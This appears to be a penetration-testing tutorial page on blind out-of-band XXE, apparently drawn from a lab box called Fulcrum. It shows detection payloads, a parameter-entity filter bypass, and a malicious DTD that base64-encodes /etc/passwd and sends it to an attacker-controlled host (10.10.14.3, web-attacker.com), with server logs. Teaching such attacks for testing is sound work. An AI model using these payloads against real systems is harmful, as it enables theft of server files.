XXE Blind Out of Band

Detection

You can often detect blind XXE using the same technique as for XXE SSRF attacks but triggering the out-of-band network interaction to a system that you control. For example, you would define an external entity as follows:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://10.10.14.3"> ]>

<Heartbleed>
<Ping>&xxe;</Ping>
</Heartbleed>

In this case we receive a request on our web server:

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.62 - - [06/Feb/2023 06:50:04] "GET / HTTP/1.0" 200 -

Input Validation Bypass

Sometimes, XXE attacks using regular entities are blocked, due to some input validation by the application or some hardening of the XML parser that is being used. In this situation, you might be able to use XML parameter entities instead. XML parameter entities are a special kind of XML entity which can only be referenced elsewhere within the DTD. For present purposes, you only need to know two things. First, the declaration of an XML parameter entity includes the percent character before the entity name:

<!ENTITY % myparameterentity "my parameter entity value" >

And second, parameter entities are referenced using the percent character instead of the usual ampersand:

%myparameterentity;

External Entities using Out of Band exploitation

This means that you can test for blind XXE using out-of-band detection via XML parameter entities as follows:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://10.10.14.3"> %xxe; ]>

Detecting a blind XXE vulnerability via out-of-band techniques is all very well, but it doesn’t actually demonstrate how the vulnerability could be exploited. What an attacker really wants to achieve is to exfiltrate sensitive data. This can be achieved via a blind XXE vulnerability, but it involves the attacker hosting a malicious DTD on a system that they control, and then invoking the external DTD from within the in-band XXE payload.

An example of a malicious DTD to exfiltrate the contents of the /etc/passwd file is as follows:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY filename SYSTEM 'http://10.10.14.3/%file;'>">

This DTD carries out the following steps:

• Defines an XML parameter entity called file, containing the contents of the /etc/passwd file with a wrapper to encode the payload as base64.
• Defines an XML parameter entity called param1, containing a dynamic declaration of another XML parameter entity called filename. The filename entity will be evaluated by making an HTTP request to the attacker’s web server containing the value of the file entity within the URL query string.
• Uses the param1 entity, which causes the dynamic declaration of the filename entity to be performed.
• Uses the filename entity, so that its value is evaluated by requesting the specified URL.

The attacker must then host the malicious DTD on a system that they control, normally by loading it onto their own webserver. For example, the attacker might serve the malicious DTD at the following URL:

http://10.10.14.3/structure.xml
# Python web server:
python3 -m http.server 80

Finally, the attacker must submit the following XXE payload to the vulnerable application:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/structure.xml"> %xxe; %param1;]>

<Heartbleed>
<Ping>&filename;</Ping>
</Heartbleed>

Examples: Fulcrum

References

Reference: Finding and exploiting blind XXE vulnerabilities